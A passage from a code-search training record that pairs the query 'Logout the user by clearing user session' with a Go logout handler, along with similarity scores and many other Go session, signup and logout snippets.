resp.ErrorMessage,\n\t})\n}", "func (app *application) signup(w http.ResponseWriter, r *http.Request) {\n\t// get session\n\tsession, err := app.sessionStore.Get(r, \"session-name\")\n\tif err != nil {\n\t\tapp.serverError(w, err)\n\t}\n\n\terr = r.ParseForm()\n\tif err != nil {\n\t\tapp.clientError(w, http.StatusBadRequest)\n\t}\n\n\t// validation checks\n\tform := forms.New(r.PostForm)\n\tform.Required(\"name\", \"email\", \"password\", \"phone\", \"address\", \"pincode\")\n\tform.MinLength(\"password\", 8)\n\tform.MatchesPattern(\"email\", forms.RxEmail)\n\tpincode, err := strconv.Atoi(form.Get(\"pincode\"))\n\tif err != nil {\n\t\tform.Errors.Add(\"pincode\", \"enter valid pincode\")\n\t}\n\n\t// check whether signup was as a vendor or a customer\n\tif form.Get(\"accType\") == \"vendor\" {\n\n\t\t// additional GPS validations\n\t\tform.Required(\"gps_lat\", \"gps_long\")\n\t\tgpsLat, err := strconv.ParseFloat(form.Get(\"gps_lat\"), 64)\n\t\tif err != nil {\n\t\t\tform.Errors.Add(\"gps_lat\", \"enter valid value\")\n\t\t}\n\t\tgpsLong, err := strconv.ParseFloat(form.Get(\"gps_long\"), 64)\n\t\tif err != nil {\n\t\t\tform.Errors.Add(\"gps_lat\", \"enter valid value\")\n\t\t}\n\t\tif !form.Valid() {\n\t\t\tapp.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t}\n\n\t\t// insert into database\n\t\terr = app.vendors.Insert(\n\t\t\tform.Get(\"name\"),\n\t\t\tform.Get(\"address\"),\n\t\t\tform.Get(\"email\"),\n\t\t\tform.Get(\"password\"),\n\t\t\tform.Get(\"phone\"),\n\t\t\tpincode,\n\t\t\tgpsLat,\n\t\t\tgpsLong,\n\t\t)\n\n\t\t// return if duplicate email or some other error\n\t\tif err == models.ErrDuplicateEmail {\n\t\t\tform.Errors.Add(\"email\", \"Address already in use\")\n\t\t\tapp.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t} else if err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\n\t} else { // customer\n\t\t// if validation checks didn't pass\n\t\tif !form.Valid() {\n\t\t\t// prompt user to fill form with correct data\n\t\t\tapp.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t}\n\n\t\t// insert into database\n\t\terr = app.customers.Insert(\n\t\t\tform.Get(\"name\"),\n\t\t\tform.Get(\"address\"),\n\t\t\tform.Get(\"email\"),\n\t\t\tform.Get(\"password\"),\n\t\t\tform.Get(\"phone\"),\n\t\t\tpincode,\n\t\t)\n\n\t\t// return if duplicate email or some other error\n\t\tif err == models.ErrDuplicateEmail {\n\t\t\tform.Errors.Add(\"email\", \"Address already in use\")\n\t\t\tapp.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t} else if err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// redirect after succesful signup\n\tsession.AddFlash(\"Sign Up succesful\")\n\terr = session.Save(r, w)\n\tif err != nil {\n\t\tapp.serverError(w, err)\n\t}\n\thttp.Redirect(w, r, \"/login\", http.StatusSeeOther)\n}", "func (db *boltDB) saveCredentials(acct providerAccount, creds []byte) error {\n\treturn db.Update(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket(acct.key())\n\t\tif b == nil {\n\t\t\treturn fmt.Errorf(\"account '%s' does not exist in DB\", acct)\n\t\t}\n\t\treturn b.Put([]byte(\"credentials\"), creds)\n\t})\n}", "func RegisterUser(w http.ResponseWriter, r *http.Request) {\n\t//var dadosLogin = mux.Vars(r)\n\tname := r.FormValue(\"name\")\n\temail := r.FormValue(\"email\")\n\tuser := r.FormValue(\"usuario\")\n\tpass := r.FormValue(\"pass\")\n\n\tpass, _ = helpers.HashPassword(pass)\n\n\tsql := \"INSERT INTO users (nome, email, login, pass) VALUES (?, ?, ?, ?) \"\n\tstmt, err := cone.Db.Exec(sql, name, email, user, pass)\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t\treturn\n\t}\n\t_, errs := stmt.RowsAffected()\n\tif errs != nil {\n\t\tlog.Fatal(err.Error())\n\t\treturn\n\t}\n\thttp.Redirect(w, r, \"/\", 301)\n}", "func RegisterUser(ctx context.Context, mongoClient *mongo.Client) func(http.ResponseWriter, *http.Request) {\n return func(response http.ResponseWriter, request *http.Request) {\n fmt.Println(\"working\")\n request.ParseForm()\n \tresponse.Header().Set(\"content-type\", \"application/x-www-form-urlencoded\")\n collection := mongoClient.Database(\"go_meals\").Collection(\"users\")\n filter := bson.D{{\"email\", request.FormValue(\"email\")}}\n\n var currentUser models.User\n err := collection.FindOne(ctx, filter).Decode(&currentUser)\n\n if err != nil {\n bstring := []byte(request.FormValue(\"password\"))\n bcryptPassword, _ := bcrypt.GenerateFromPassword(bstring, 10)\n\n var newUser models.User\n newUser.ID = primitive.NewObjectID()\n newUser.Name = request.FormValue(\"name\")\n newUser.Email = request.FormValue(\"email\")\n newUser.Password = bcryptPassword\n\n _, err := collection.InsertOne(ctx, newUser)\n\n if err != nil {\n var errorMessage models.Errors\n errorMessage.User = \"there was an error creating the user\"\n json.NewEncoder(response).Encode(errorMessage)\n } else {\n json.NewEncoder(response).Encode(newUser)\n }\n } else {\n var errorMessage models.Errors\n errorMessage.User = \"This email already exists for a user.\"\n json.NewEncoder(response).Encode(errorMessage)\n }\n }\n}" ]
[ "0.6701098", "0.6440298", "0.6288086", "0.62616646", "0.6218286", "0.6162555", "0.6115804", "0.6111605", "0.61108327", "0.6046784", "0.6042894", "0.60074866", "0.6003057", "0.59988374", "0.5993887", "0.5990544", "0.5986322", "0.5956251", "0.5938354", "0.59189236", "0.5907019", "0.59040153", "0.5872093", "0.58591646", "0.5844814", "0.58440155", "0.5843714", "0.58247215", "0.5798946", "0.5797259", "0.57874995", "0.5777318", "0.5771844", "0.5768614", "0.5763", "0.57276404", "0.5720379", "0.569336", "0.56921", "0.56917536", "0.56906706", "0.5678293", "0.5670212", "0.5662917", "0.5661038", "0.56498843", "0.56475216", "0.56448406", "0.56232", "0.5618725", "0.56158507", "0.5591872", "0.5587181", "0.5577", "0.55746245", "0.5569858", "0.55680627", "0.55614305", "0.555589", "0.5550014", "0.5546839", "0.55293757", "0.55284", "0.5524375", "0.5504355", "0.5504348", "0.54966855", "0.5495032", "0.5484548", "0.5481018", "0.5474994", "0.5472991", "0.54686147", "0.5464039", "0.54605407", "0.5458745", "0.54561234", "0.5452877", "0.54445475", "0.5428571", "0.54082423", "0.54070014", "0.5406107", "0.5405238", "0.5397719", "0.5397388", "0.53830516", "0.5374649", "0.53744644", "0.5371363", "0.53618884", "0.5358376", "0.5355893", "0.5346773", "0.534332", "0.53428876", "0.53309256", "0.5330602", "0.5325705", "0.5325263" ]
0.64236367
2
Logout the user by clearing user session
func logout(ctx context.Context) error { r := ctx.HttpRequest() session, _ := core.GetSession(r) _, ok := session.Values["user"] if ok { delete(session.Values, "user") if err := session.Save(r, ctx.HttpResponseWriter()); err != nil { log.Error("Unable to save session: ", err) } } return goweb.Respond.WithPermanentRedirect(ctx, "/") }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func Logout(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tsession.Delete(\"user\");\n\tsession.Save();\n\tc.JSON(200, gin.H{\n\t\t\"success\": true,\n\t})\n}", "func logout(w http.ResponseWriter, r *http.Request) {\n\n\tsession := sessions.Start(w, r)\n\tsession.Clear()\n\tsessions.Destroy(w, r)\n\thttp.Redirect(w, r, \"/\", 302)\n\n}", "func logout(c *gin.Context) {\n\t//Give the user a session\n\tsession := sessions.Default(c)\n\tclearSession(&session)\n\n\tc.Redirect(http.StatusFound, \"/\")\n}", "func Logout(w http.ResponseWriter, r *http.Request) {\n\tPrintln(\"Endpoint Hit: Logout\")\n\n\tsession := sessions.Start(w, r)\n\tsession.Clear()\n\tsessions.Destroy(w, r)\n\thttp.Redirect(w, r, \"/\", 302)\n}", "func Logout(res http.ResponseWriter, req *http.Request) error {\n\tsession, err := Store.Get(req, SessionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsession.Options.MaxAge = -1\n\tsession.Values = make(map[interface{}]interface{})\n\terr = session.Save(req, res)\n\tif err != nil {\n\t\treturn errors.New(\"Could not delete user session \")\n\t}\n\treturn nil\n}", "func Logout(rw http.ResponseWriter, request *http.Request) {\n\n\tlog.Println(\"call Logout\")\n\n\t// Cookieからセッション情報取得\n\tsessionID, err := request.Cookie(sessionIDName)\n\tif err != nil {\n\t\t// セッション情報取得に失敗した場合TOP画面に遷移\n\t\tlog.Println(\"Cookie 取得 失敗\")\n\t\tlog.Println(err)\n\t\t// Cookieクリア\n\t\tclearCookie(rw)\n\t\thttp.Redirect(rw, request, \"/index\", http.StatusFound)\n\t\treturn\n\t}\n\tlog.Println(\"Cookie 取得 成功\")\n\tlog.Println(\"セッション情報:\", sessionID.Value)\n\n\t// セッション情報を削除\n\tdbm := db.ConnDB()\n\t_, err = dbm.Exec(\"delete from sessions where sessionID = ?\", sessionID.Value)\n\tif err != nil {\n\t\tlog.Println(\"セッション 削除 失敗\")\n\t} else {\n\t\tlog.Println(\"セッション 削除 成功\")\n\t\tlog.Println(\"削除したセッションID:\", sessionID.Value)\n\t}\n\n\t// CookieクリアしてTOP画面表示\n\tclearCookie(rw)\n\thttp.Redirect(rw, request, \"/index\", http.StatusFound)\n}", "func UserLogout(w http.ResponseWriter, r *http.Request) {\n\t_ = SessionDel(w, r, \"user\")\n\tutils.SuccessResponse(&w, \"登出成功\", \"\")\n}", "func logout(w http.ResponseWriter, r *http.Request) {\n\tsession, err := store.Get(r, \"auth\")\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tsession.Values[\"user\"] = User{}\n\tsession.Options.MaxAge = -1\n\n\terr = session.Save(r, w)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tlogRequest(r)\n}", "func Logout(ctx echo.Context) error {\n\tif _, ok := ctx.Get(\"User\").(*models.Person); ok {\n\t\tutils.DeleteSession(ctx, settings.App.Session.Lang)\n\t\tutils.DeleteSession(ctx, settings.App.Session.Flash)\n\t\tutils.DeleteSession(ctx, settings.App.Session.Name)\n\t}\n\tctx.Redirect(http.StatusFound, \"/\")\n\treturn nil\n}", "func (authentication *Authentication) ClearSession(res http.ResponseWriter, req *http.Request) {\n\tcookie, _ := cookies.GetCookie(req, \"session\")\n\t// delete the session\n\tdelete(authentication.loginUser, authentication.userSession[cookie.Value].email)\n\tdelete(authentication.userSession, cookie.Value)\n\t// remove the cookie\n\tcookie = &http.Cookie{\n\t\tName: \"session\",\n\t\tValue: \"\",\n\t\tPath: \"/\",\n\t\tMaxAge: -1,\n\t}\n\thttp.SetCookie(res, cookie)\n\n\t// clean up dbSessions\n\tif time.Now().Sub(sessionsCleaned) > (time.Second * 30) {\n\t\tfor sessionID, session := range authentication.userSession {\n\t\t\tif time.Now().Sub(session.lastActivity) > (time.Second * 30) {\n\t\t\t\tdelete(authentication.loginUser, session.email)\n\t\t\t\tdelete(authentication.userSession, sessionID)\n\t\t\t}\n\t\t}\n\t\tsessionsCleaned = time.Now()\n\t}\n}", "func logout(res http.ResponseWriter, req *http.Request) {\n sess := session.Get(req)\n\n session.Remove(sess, res)\n sess = nil\n\n return\n http.Redirect(res, req, \"/login\", 301)\n}", "func Clear(c echo.Context) error {\n\ts, _ := Get(c)\n\tusername := s.Values[\"username\"]\n\tdelete(s.Values, \"authenticated\")\n\tdelete(s.Values, \"username\")\n\tdelete(s.Values, \"userinfo\")\n\n\t// delete client cookie\n\ts.Options.MaxAge = -1\n\n\terr := s.Save(c.Request(), c.Response())\n\tif err != nil {\n\t\tglog.Errorf(\"Failed to save session: %v\", err)\n\t\treturn err\n\t}\n\tglog.V(2).Infof(\"user '%s' logged out\", username)\n\treturn nil\n}", "func Logout(r *http.Request) {\n\ts := getSessionFromRequest(r)\n\tif s.ID == 0 {\n\t\treturn\n\t}\n\n\t// Store Logout to the user log\n\tfunc() {\n\t\tlog := &Log{}\n\t\tlog.SignIn(s.User.Username, log.Action.Logout(), r)\n\t\tlog.Save()\n\t}()\n\n\ts.Logout()\n\n\t// Delete the cookie from memory if we sessions are cached\n\tif CacheSessions {\n\t\tdelete(cachedSessions, s.Key)\n\t}\n\n\tIncrementMetric(\"uadmin/security/logout\")\n}", "func Logout(app *aero.Application, authLog *log.Log) {\n\tapp.Get(\"/logout\", func(ctx aero.Context) error {\n\t\tif ctx.HasSession() {\n\t\t\tuser := arn.GetUserFromContext(ctx)\n\n\t\t\tif user != nil {\n\t\t\t\tauthLog.Info(\"%s logged out | %s | %s | %s | %s\", user.Nick, user.ID, ctx.IP(), user.Email, user.RealName())\n\t\t\t}\n\n\t\t\tctx.Session().Delete(\"userId\")\n\t\t}\n\n\t\treturn ctx.Redirect(http.StatusTemporaryRedirect, \"/\")\n\t})\n}", "func (u *Users) LogOut() {\n\tu.deauthorizeUser()\n\tu.serveAJAXSuccess(nil)\n}", "func Logout(w http.ResponseWriter, req *http.Request) {\n\tif !requirePost(w, req) {\n\t\tlog.Warn(\"Logout request should use POST method\")\n\t\treturn\n\t}\n\tif !requireAuth(w, req) {\n\t\tlog.Warn(\"Logout request should be authenticated\")\n\t\treturn\n\t}\n\tsid := req.Context().Value(auth.SESSION_ID).(string)\n\terr := storage.DeleteSession(sid)\n\tif err != nil {\n\t\tlog.Error(err)\n\t}\n\tconf.RedirectTo(\"/\", \"\", w, req)\n}", "func logout(w http.ResponseWriter, r *http.Request) {\n\n\tif isAuthorized(w, r) {\n\t\tusername, _ := r.Cookie(\"username\")\n\t\tdelete(gostuff.SessionManager, username.Value)\n\t\tcookie := http.Cookie{Name: \"username\", Value: \"0\", MaxAge: -1}\n\t\thttp.SetCookie(w, &cookie)\n\t\tcookie = http.Cookie{Name: \"sessionID\", Value: \"0\", MaxAge: -1}\n\t\thttp.SetCookie(w, &cookie)\n\t\tw.Header().Set(\"Cache-Control\", \"no-cache, no-store, must-revalidate\")\n\t\thttp.ServeFile(w, r, \"index.html\")\n\t}\n}", "func (c *Client) Logout(ctx context.Context) error {\n\treq := c.Resource(internal.SessionPath).Request(http.MethodDelete)\n\treturn c.Do(ctx, req, nil)\n}", "func (s *Subject) Logout() {\n\tif s.Session != nil {\n\t\ts.Session.Clear()\n\t}\n}", "func (a *Auth) Logout(w http.ResponseWriter, r *http.Request) {\n\tu := a.userstate.Username(r)\n\ta.userstate.Logout(u)\n\ta.userstate.ClearCookie(w)\n\ta.userstate.RemoveUser(u)\n\tutil.OK(w, r)\n}", "func (u *MyUserModel) Logout() {\n\t// Remove from logged-in user's list\n\t// etc ...\n\tu.authenticated = false\n}", "func (uh *UserHandler) Logout(w http.ResponseWriter, r *http.Request) {\n\tnewSession := uh.configSess()\n\tcookie, _ := r.Cookie(newSession.SID)\n\n\tsession.Remove(newSession.SID, w)\n\tuh.SService.DeleteSession(cookie.Value)\n\thttp.Redirect(w, r, \"/Login\", http.StatusSeeOther)\n}", "func (s *Session) Logout() error { return nil }", "func (avisess *AviSession) Logout() error {\n\turl := avisess.prefix + \"logout\"\n\treq, _ := avisess.newAviRequest(\"POST\", url, nil, avisess.tenant)\n\t_, err := avisess.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func logout(w http.ResponseWriter,r *http.Request){\n\tsession,err:=store.Get(r,\"cookie-name\")\n\tif err!=nil{\n\t\tlog.Fatal(err)\n\t}\n\tsession.Values[\"user\"]=user{}\n\tsession.Options.MaxAge=-1\n\n\terr=session.Save(r,w)\n\tif err!=nil{\n\t\tlog.Fatal(err)\n\t}\n\thttp.Redirect(w,r,\"/\",http.StatusFound)\n}", "func (u *User) Logout() {\n\t// Remove from logged-in user's list\n\t// etc ...\n\tu.authenticated = false\n}", "func (u *USER_DB) Logout() {\n\t// Remove from logged-in user's list\n\t// etc ...\n\tu.authenticated = false\n}", "func (controller *Auth) Logout() {\n\tcontroller.distroySession()\n\tcontroller.DeleteConnectionCookie()\n\tcontroller.Redirect(\"/\", 200)\n}", "func Logout(w http.ResponseWriter, r *http.Request) error {\n\tsession, _ := loggedUserSession.Get(r, \"authenticated-user-session\")\n\tsession.Values[\"username\"] = \"\"\n\treturn session.Save(r, w)\n}", "func (h *UserRepos) Logout(ctx context.Context, w http.ResponseWriter, r *http.Request, params map[string]string) error {\n\n\tsess := webcontext.ContextSession(ctx)\n\n\t// Set the access token to empty to logout the user.\n\tsess = webcontext.SessionDestroy(sess)\n\n\tif err := sess.Save(r, w); err != nil {\n\t\treturn err\n\t}\n\n\t// Redirect the user to the root page.\n\treturn web.Redirect(ctx, w, r, \"/\", http.StatusFound)\n}", "func (h *auth) Logout(c echo.Context) error {\n\tsession := currentSession(c)\n\tif session != nil {\n\t\terr := h.db.Delete(session)\n\t\tif err != nil && h.db.IsNotFound(err) {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn c.NoContent(http.StatusNoContent)\n}", "func Logout(c buffalo.Context) error {\n\tsessionID := c.Value(\"SessionID\").(int)\n\tadmin := c.Value(\"Admin\")\n\tif admin != nil {\n\t\t// \"log out\" by unscoping out auth token\n\t\ttoken, err := utils.GenerateScopedToken(admin.(string), 0, sessionID)\n\t\tif err != nil {\n\t\t\treturn c.Error(http.StatusBadRequest, err)\n\t\t}\n\t\treturn c.Render(http.StatusOK, render.JSON(&common.TokenPayload{\n\t\t\tToken: token,\n\t\t}))\n\t}\n\tif err := modelext.DeleteUserSession(c, sessionID); err != nil {\n\t\treturn c.Error(http.StatusInternalServerError, err)\n\t}\n\treturn c.Render(http.StatusOK, render.JSON(&common.TokenPayload{\n\t\tToken: \"\",\n\t}))\n}", "func Logout(w http.ResponseWriter, r *http.Request) {\r\n\t//Get user id of the session\r\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second)\r\n\tdefer cancel()\r\n\tcookie, err := r.Cookie(\"sessionId\")\r\n\tif err != nil || cookie.Value != \"\" {\r\n\t\ttoken, _ := url.QueryUnescape(cookie.Value)\r\n\t\t_, err = AuthClient.RemoveAuthToken(ctx, &authpb.AuthToken{Token: token})\r\n\t\texpiration := time.Now()\r\n\t\tcookie := http.Cookie{Name: \"sessionId\", Path: \"/\", HttpOnly: true, Expires: expiration, MaxAge: -1}\r\n\t\thttp.SetCookie(w, &cookie)\r\n\t}\r\n\tAPIResponse(w, r, 200, \"Logout successful\", make(map[string]string))\r\n}", "func (a *Auth) Logout(ctx *gin.Context) error {\n\tuuid, err := ctx.Cookie(a.cookie)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t// delete redis record\n\tif err := a.redis.Del(uuid).Err(); err != nil {\n\t\treturn err\n\t}\n\n\t// delete cookie\n\thttp.SetCookie(ctx.Writer, &http.Cookie{\n\t\tName: a.cookie,\n\t\tValue: \"\",\n\t\tExpires: time.Unix(0, 0),\n\t})\n\treturn nil\n}", "func clearSession(response http.ResponseWriter) {\n cookie := &http.Cookie{\n Name: \"session\",\n Value: \"\",\n Path: \"/\",\n MaxAge: -1,\n }\n http.SetCookie(response, cookie)\n }", "func (app *application) logout(w http.ResponseWriter, r *http.Request) {\n\tsession, err := app.sessionStore.Get(r, \"session-name\")\n\tif err != nil {\n\t\tapp.serverError(w, err)\n\t\treturn\n\t}\n\n\tif session.Values[\"customerID\"] != nil {\n\t\tsession.Values[\"customerID\"] = nil\n\t\tsession.AddFlash(\"customer logged out\")\n\t\terr = session.Save(r, w)\n\t\tif err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\t}\n\tif session.Values[\"vendorID\"] != nil {\n\t\tsession.Values[\"vendorID\"] = nil\n\t\tsession.AddFlash(\"vendor logged out\")\n\t\terr = session.Save(r, w)\n\t\tif err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\t}\n}", "func clearSession(response http.ResponseWriter) {\n\tcookie := &http.Cookie{\n\t\tName: \"session\",\n\t\tValue: \"\",\n\t\tPath: \"/\",\n\t\tMaxAge: -1,\n\t}\n\thttp.SetCookie(response, cookie)\n}", "func Logout(w http.ResponseWriter, r *http.Request) {\n\tif sessions.GoodSession(r) != true {\n\t\tjson.NewEncoder(w).Encode(\"Session Expired. Log out and log back in.\")\n\t}\n\tstore, err := pgstore.NewPGStore(os.Getenv(\"PGURL\"), key)\n\tcheck(err)\n\tdefer store.Close()\n\n\tsession, err := store.Get(r, \"scheduler-session\")\n\tcheck(err)\n\t// Revoke users authentication\n\tsession.Values[\"authenticated\"] = false\n\tw.WriteHeader(http.StatusOK)\n\tsession.Options.MaxAge = -1\n\tsession.Save(r, w)\n}", "func clearSession(writer http.ResponseWriter) {\n\tcookie := &http.Cookie{\n\t\tName: \"session\",\n\t\tValue: \"\",\n\t\tPath: \"/\",\n\t\tMaxAge: -1,\n\t}\n\thttp.SetCookie(writer, cookie)\n}", "func Logout(w http.ResponseWriter, r *http.Request) {\n\tuser := r.Context().Value(utils.TokenContextKey).(string)\n\tmessage := models.Logout(user)\n\tutils.JSONResonseWithMessage(w, message)\n}", "func (m *Repository) Logout(w http.ResponseWriter, r *http.Request) {\n\tif !m.App.Session.Exists(r.Context(), \"user_id\") {\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\t\treturn\n\t}\n\n\t_ = m.App.Session.Destroy(r.Context())\n\t_ = m.App.Session.RenewToken(r.Context())\n\tm.App.Session.Put(r.Context(), \"flash\", \"Successfully logged out!\")\n\n\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n}", "func (s *CookieStore) ClearSession(rw http.ResponseWriter, req *http.Request) {\n\thttp.SetCookie(rw, s.makeSessionCookie(req, \"\", time.Hour*-1, time.Now()))\n}", "func Logout(res http.ResponseWriter, req *http.Request) {\n\t_, ok := cookiesManager.GetCookieValue(req, CookieName)\n\tif ok {\n\t\t// cbs.SessionManager.RemoveSession(uuid)\n\t\tcookiesManager.RemoveCookie(res, CookieName)\n\t} else {\n\t\tlog.Trace(\"Logging out without the cookie\")\n\t}\n}", "func (AuthenticationController) Logout(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tsession.Clear()\n\tif sessionErr := session.Save(); sessionErr != nil {\n\t\tlog.Print(sessionErr)\n\t\tutils.CreateError(c, http.StatusInternalServerError, \"Failed to logout.\")\n\t\tc.Abort()\n\t\treturn\n\t}\n\tc.JSON(http.StatusOK, gin.H{\"message\": \"Logged out...\"})\n}", "func gwLogout(c *gin.Context) {\n\ts := getHostServer(c)\n\treqId := getRequestId(s, c)\n\tuser := getUser(c)\n\tcks := s.conf.Security.Auth.Cookie\n\tok := s.AuthManager.Logout(user)\n\tif !ok {\n\t\ts.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \"auth logout fail\", nil)\n\t\treturn\n\t}\n\tsid, ok := getSid(s, c)\n\tif !ok {\n\t\ts.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \"session store logout fail\", nil)\n\t\treturn\n\t}\n\t_ = s.SessionStateManager.Remove(sid)\n\tc.SetCookie(cks.Key, \"\", -1, cks.Path, cks.Domain, cks.Secure, cks.HttpOnly)\n}", "func (as *AdminServer) Logout(w http.ResponseWriter, r *http.Request) {\n\tsession := ctx.Get(r, \"session\").(*sessions.Session)\n\tdelete(session.Values, \"id\")\n\tFlash(w, r, \"success\", \"You have successfully logged out\")\n\tsession.Save(r, w)\n\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n}", "func (am AuthManager) Logout(ctx *Ctx) error {\n\tsessionValue := am.readSessionValue(ctx)\n\t// validate the sessionValue isn't unset\n\tif len(sessionValue) == 0 {\n\t\treturn nil\n\t}\n\n\t// issue the expiration cookies to the response\n\tctx.ExpireCookie(am.CookieNameOrDefault(), am.CookiePathOrDefault())\n\tctx.Session = nil\n\n\t// call the remove handler if one has been provided\n\tif am.RemoveHandler != nil {\n\t\treturn am.RemoveHandler(ctx.Context(), sessionValue)\n\t}\n\treturn nil\n}", "func (c *Controller) Logout(ctx context.Context) (err error) {\n\t// Build request\n\treq, err := c.requestBuild(ctx, \"GET\", authenticationAPIName, \"logout\", nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"request building failure: %w\", err)\n\t}\n\t// execute auth request\n\tif err = c.requestExecute(ctx, req, nil, false); err != nil {\n\t\terr = fmt.Errorf(\"executing request failed: %w\", err)\n\t}\n\treturn\n}", "func (auth Authenticate) Logout(session *types.Session) error {\n\terr := manager.AccountManager{}.RemoveSession(session, auth.Cache)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func logout(w http.ResponseWriter, r *http.Request) {\n LOG[INFO].Println(\"Executing Logout\")\n clearCache(w)\n cookie, _ := r.Cookie(LOGIN_COOKIE)\n cookie.MaxAge = -1\n cookie.Expires = time.Now().Add(-1 * time.Hour)\n http.SetCookie(w, cookie)\n LOG[INFO].Println(\"Successfully Logged Out\")\n http.Redirect(w, r, \"/welcome\", http.StatusSeeOther)\n}", "func (session *Session) Logout() error {\n\treturn session.Delete(session.TenantID)\n}", "func (db *MyConfigurations) logout(c echo.Context) error {\n\tfcmToken := c.Request().Header.Get(\"fcm-token\")\n\tdb.GormDB.Where(\"token = ?\", fcmToken).Delete(&models.DeviceToken{})\n\tc.SetCookie(&http.Cookie{\n\t\tName: \"Authorization\",\n\t\tValue: \"\",\n\t\tExpires: time.Now(),\n\t\tMaxAge: 0,\n\t})\n\treturn c.Redirect(http.StatusFound, \"/login\")\n}", "func (a Authorizer) Logout(rw http.ResponseWriter, req *http.Request) error {\n\tsession, err := skyring.Store.Get(req, \"session-key\")\n\tif err != nil {\n\t\tlogger.Get().Error(\"Error getting the session. error: %v\", err)\n\t\treturn err\n\t}\n\tsession.Options.MaxAge = -1\n\tif err = session.Save(req, rw); err != nil {\n\t\tlogger.Get().Error(\"Error saving the session. error: %v\", err)\n\t\treturn err\n\t}\n\treturn nil\n}", "func (a Authorizer) Logout(rw http.ResponseWriter, req *http.Request) error {\n\tsession, err := skyring.Store.Get(req, \"session-key\")\n\tif err != nil {\n\t\tlogger.Get().Error(\"Error getting the session. error: %v\", err)\n\t\treturn err\n\t}\n\tsession.Options.MaxAge = -1\n\tif err = session.Save(req, rw); err != nil {\n\t\tlogger.Get().Error(\"Error saving the session. error: %v\", err)\n\t\treturn err\n\t}\n\treturn nil\n}", "func (m *Model) Logout(ctx context.Context, header string) error {\n\tau, err := m.extractTokenMetadata(header)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = m.authDAO.DeleteByID(ctx, au.ID)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (u *UserController) Logout(c *gin.Context) {\n\trequestID := requestid.Get(c)\n\tau, err := helpers.ExtractTokenMetadata(c.Request, requestID)\n\tif err != nil {\n\t\tlogger.Error(logoutLogTag, requestID, \"Unable to extract token metadata on logout system, error: %+v\", err)\n\t\tc.JSON(http.StatusUnauthorized, \"unauthorized\")\n\t\treturn\n\t}\n\tdeleted, delErr := helpers.DeleteAuth(au.AccessUUID)\n\tif delErr != nil || deleted == 0 {\n\t\tlogger.Error(logoutLogTag, requestID, \"Unable to delete auth on logout system, error: %+v, deleted: %d\", delErr, deleted)\n\t\tc.JSON(http.StatusUnauthorized, \"user already logout\")\n\t\treturn\n\t}\n\tc.JSON(http.StatusOK, \"Successfully logged out\")\n}", "func (hc *httpContext) clearSession() {\n\tsession := hc.getSession()\n\tif session == nil {\n\t\treturn\n\t}\n\n\tsession.Values[sv[\"provider\"]] = nil\n\tsession.Values[sv[\"name\"]] = nil\n\tsession.Values[sv[\"email\"]] = nil\n\tsession.Values[sv[\"user\"]] = nil\n\tsession.Values[sv[\"token\"]] = nil\n\n\thc.saveSession(session)\n}", "func (cl *APIClient) Logout() *R.Response {\n\trr := cl.Request(map[string]string{\n\t\t\"COMMAND\": \"EndSession\",\n\t})\n\tif rr.IsSuccess() {\n\t\tcl.SetSession(\"\")\n\t}\n\treturn rr\n}", "func (c *Client) Logout() error {\n\t_, err := c.Exec(\"logout\")\n\treturn err\n}", "func (c UserInfo) Logout() revel.Result {\n\tc.Session.Del(\"DiscordUserID\")\n\tc.Response.Status = 200\n\treturn c.Render()\n}", "func (c App) SignOut() revel.Result {\n\tfor k := range c.Session {\n\t\tdelete(c.Session, k)\n\t}\n\treturn c.Redirect(App.Index)\n}", "func Logout(c *gin.Context) {\n\ttokenString := util.ExtractToken(c.Request)\n\n\tau, err := util.ExtractTokenMetadata(tokenString)\n\tif err != nil {\n\t\tc.JSON(http.StatusUnauthorized, \"unauthorized\")\n\t\treturn\n\t}\n\n\tdeleted, delErr := util.DeleteAuth(au.AccessUuid)\n\tif delErr != nil || deleted == 0 { //if any goes wrong\n\t\tc.JSON(http.StatusUnauthorized, \"unauthorized\")\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, \"Successfully logged out\")\n}", "func (userHandlersImpl UserHandlersImpl) Logout(w http.ResponseWriter, req *http.Request) {\n\n\tresp := \"\"\n\tWriteOKResponse(w, resp)\n\n}", "func (bap *BaseAuthProvider) Logout(ctx *RequestCtx) {\n\t// When this is internally called (such as user reset password, or been disabled)\n\t// ctx might be nil\n\tif ctx.Ctx != nil {\n\t\t//delete token cookie, keep uuid cookie\n\t\tWriteToCookie(ctx.Ctx, AuthTokenName, 